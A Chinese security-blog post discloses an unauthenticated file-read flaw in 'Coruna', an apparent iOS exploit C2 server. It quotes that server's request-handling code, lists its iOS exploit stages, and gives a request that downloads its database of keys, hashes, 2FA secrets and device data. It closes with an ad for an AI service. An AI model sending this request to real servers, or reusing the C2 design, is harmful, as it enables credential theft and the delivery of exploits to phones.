文章总结: CorunaiOS漏洞C2系统存在前台敏感信息泄露漏洞,影响iOS15.2至17.2.1等多版本。漏洞源于exploitserver.py中doGET()函数静态资源分支处理缺陷,攻击者可未授权读取.py、.env、.db等敏感文件,包括darksword.db、exploitserver.py及admin/.env等关键文件,进而获取SECRETKEY等配置信息。建议及时修复路径校验逻辑,加强访问控制。
综合评分: 85
文章分类: 漏洞分析,渗透测试,代码审计
Coruna ios 漏洞C2系统存在前台敏感信息泄露漏洞
原创
XingYue404
XingYue404
星悦安全
2026年9月26日 20:03
浙江
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
点击上方蓝字关注我们 并设为星标
0x00 前言
漏洞完全由 GPT-6-Astra 分析,无特殊提示词 Skill,同款AI见文末.
系统源码介绍 : Coruna 漏洞利用ios管理系统是面向移动端安全测试场景的端到端 C2 框架,涵盖设备管理、渠道分发、数据回传等能力,采用 Vue3 + FastAPI 开发.
📌受影响版本明细
| | |
| — | — |
| 攻击阶段 | 覆盖版本 / 载荷 |
| Stage1 初始利用 | iOS 15.2 – 15.5(jacurutu) |
| Stage1 初始利用 | iOS 15.6 – 16.1.2(bluebird) |
| Stage1 初始利用 | iOS 16.2 – 16.5.1(terrorbird) |
| Stage1 初始利用 | iOS 16.6 – 17.2.1(cassowary) |
| Stage2 稳定化 | iOS 13.0 – 14.x(breezy) |
| Stage2 稳定化 | iOS 15.0 – 16.2(breezy15) |
| Stage2 稳定化 | iOS 16.3 – 16.5.1(seedbell) |
| Stage2 稳定化 | iOS 16.6 – 17.2.1(seedbell_pre / seedbell) |
| Stage3 收尾 | VariantA / VariantB(全版本适用) |
✅该系统完整攻击链(Stage1→2→3):iOS 15.2 – 17.2.1;iOS 13.0 – 15.1.1 提供 Stage2 基础链,按设备版本自动分发载荷.
0x01 前台敏感信息泄露
完整调用链位于 /exploit_server.py 中的1680 – 1843 行代码,如下关联
do_GET()的静态资源分支会调用该函数;普通请求还会在后续兜底再次调用/ch/、/if/、/t/还会先去掉前缀,将含点号的剩余路径当作文件尝试读取- _STATIC_SKIP_EXT 只决定是否跳过设备注册,不是访问控制白名单。.py、.env、.db 即使不在其中,仍有后续分支可达
- 根目录确实有
darksword.db、exploit_server.py、admin/.env;配置代码读取其中的SECRET_KEY - FastAPI 管理端的 JWT 中间逻辑无法保护另一个独立 HTTP 进程。代码还会尝试额外监听 80 端口,成功与否取决于权限和占用情况
def do_GET(self) -> None: parsed = urlparse(self.path) self._parsed_path_cache = parsed norm_log = parsed.path.rstrip("/") or "/" self._current_norm_path = norm_log client_ip = self.client_address[0] if self.client_address else "unknown" user_agent = self.headers.get("User-Agent", "") query_params = parse_qs(parsed.query) if parsed.query else {} if self._host_is_native_c2(): self._dump_native_c2_request("GET", client_ip, user_agent, self.path, self.headers)
# ⚡ 性能 + 数据纯净:静态资源请求跳过 _ensure_device_registered, # 避免加载 .js/.dylib/.bin 等 payload 文件时误生成"新设备"脏数据。 report_result_e = None for _rk in ("e", "result", "r"): if _rk in query_params and query_params[_rk]: try: report_result_e = int(query_params[_rk][0]) except Exception: report_result_e = query_params[_rk][0] break is_static = self._path_looks_static(norm_log) and report_result_e is None
if norm_log == "/sdk/embed.js": self._serve_embed_js() return
if is_static: # 对于已知静态路径,先直接尝试 serve 静态文件,跳过注册设备 rel = norm_log.lstrip("/") if rel: try: if self._try_serve_static_file(rel): return except Exception: pass # 再走 /ch/xxx 风格的静态兜底 if (norm_log.startswith("/ch/") or norm_log.startswith("/if/") or norm_log.startswith("/t/")): _parts = norm_log.split("/", 2) if len(_parts) >= 3 and _parts[2]: try: if self._try_serve_static_file(_parts[2]): return except Exception: pass # 最后 404 self.send_error(404, "Not Found") return
# DEFENSE-IN-DEPTH: /ch/<slug> / /if/<slug> / /t/<slug>: # 先尝试去掉前缀后直接当项目静态文件 serve! # 这样即使 HTML 里用了相对路径(script src="platform_module.js"), # 浏览器解析成 /ch/platform_module.js 也能正确返回 JS,而不会被当成 channel slug。 if (norm_log.startswith("/ch/") or norm_log.startswith("/if/") or norm_log.startswith("/t/")): _parts = norm_log.split("/", 2) if len(_parts) >= 3 and _parts[2]: _candidate_rel = _parts[2] if "." in _candidate_rel: # 只对 "看起来像文件名" 的尝试(含扩展名) try: if self._try_serve_static_file(_candidate_rel): return except Exception: pass
if norm_log.startswith("/ch/") or norm_log.startswith("/if/") or norm_log.startswith("/t/"): parts = norm_log.split("/", 2) if len(parts) < 3: self._send_body(404, b"Missing slug") return mode_prefix, slug = parts[1], parts[2] slug = unquote(slug.rstrip("/")) if not slug: self._send_body(404, b"Missing slug") return channel_id_hint, template_id_hint = None, None tpl_slug_raw = (query_params.get("tpl") or [None])[0] or None tpl_slug = unquote(tpl_slug_raw) if tpl_slug_raw else None ch_obj = None tpl_obj = None host_h = self.headers.get("Host") ref_h = self.headers.get("Referer") if mode_prefix == "ch" or mode_prefix == "if": ch_obj = _resolve_channel(slug) if ch_obj: channel_id_hint = getattr(ch_obj, "id", None) if getattr(ch_obj, "default_template_id", None) and not tpl_slug: template_id_hint = int(ch_obj.default_template_id) # ① Channel enabled + 域名白名单(必须先校验,不要注册设备 / 不要加访问量) if not getattr(ch_obj, "enabled", 1): self._log_request_info("GET", client_ip, self.path, user_agent=user_agent, channel_id=channel_id_hint, template_id=template_id_hint) self._send_body(403, b"Channel Disabled", channel_id=channel_id_hint, template_id=template_id_hint) return ok_domain, reason = _validate_channel_domain_restrictions(ch_obj, host_h, ref_h) if not ok_domain: log_msg = f"[SECURITY BLOCK] channel={slug} {reason}" print(f" {log_msg}") log_to_file(log_msg) save_log_to_db("security", client_ip, "GET", self.path, status_code=403, user_agent=user_agent, channel_id=channel_id_hint, template_id=template_id_hint) self._send_body(403, b"<!doctype html><html><head><meta charset='utf-8'><title>403 Forbidden</title></head>" b"<body style='font-family:-apple-system,Segoe UI,sans-serif;max-width:640px;margin:80px auto;padding:0 20px'>" b"<h1 style='color:#d9363e'>403 Forbidden</h1><p>This channel is only accessible from authorized hostnames.</p>" b"<pre style='background:#f5f5f5;padding:12px;border-radius:6px;word-break:break-all'>" + reason.encode("utf-8", errors="replace") + b"</pre></body></html>", channel_id=channel_id_hint, template_id=template_id_hint) return if tpl_slug: tpl_obj = _resolve_template(tpl_slug) if tpl_obj: template_id_hint = getattr(tpl_obj, "id", None) # ② 安全校验全部通过 → 才正式注册设备 + 递增访问量 dev_uuid, log_cid, log_tid = self._ensure_device_registered( query_params, channel_id_override=channel_id_hint, template_id_override=template_id_hint ) self._log_request_info("GET", client_ip, self.path, user_agent=user_agent, device_uuid=dev_uuid, channel_id=log_cid, template_id=log_tid) # ③ CRITICAL FIX: 302 Redirect to /group.html (device_uuid in cookie is ds_uuid already) # Stage3_VariantB's MachOPayloadBuilder computes payload length based on # document.URL → long /ch/<slug>?tpl=...&device_uuid=... -> wrong length -> OOB. # Original URL format is /group.html (short path, no query) → correct offsets. redirect_to = "http://" + (self.headers.get("Host") or "127.0.0.1:7070") + "/group.html" self.send_response(302) self.send_header("Location", redirect_to) self._write_ds_ids(channel_id=log_cid, template_id=log_tid) self.end_headers() return
report_result = None for _rk in ("e", "result", "r"): if _rk in query_params and query_params[_rk]: try: report_result = int(query_params[_rk][0]) except Exception: report_result = query_params[_rk][0] break if report_result is not None and norm_log == "/": # 🔍 DIAGNOSTIC LOG: capture EVERY detail of the legacy report request # so we can debug why powerd dylib's /?e=0 sometimes fails to match device
Payload:
GET /ch/darksword.db HTTP/1.1Host: audit.invalid:7070User-Agent: Audit-Static-ReviewConnection: close
可以直接下载到 darksword.db,其中包含配置密钥、账号哈希、2FA 密钥、设备和采集数据等。若取得有效签名密钥及对应账号状态,可进一步伪造认证.
0x02 AI 漏洞挖掘
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,交易所
本漏洞完全由星悦AI中转提供的GPT-6-Astra Max挖掘分析.
https://www.xyusec.com/
新用户还可以添加进群领5$额度
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!****
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星悦安全 XingYue404
XingYue404《Coruna ios 漏洞C2系统存在前台敏感信息泄露漏洞》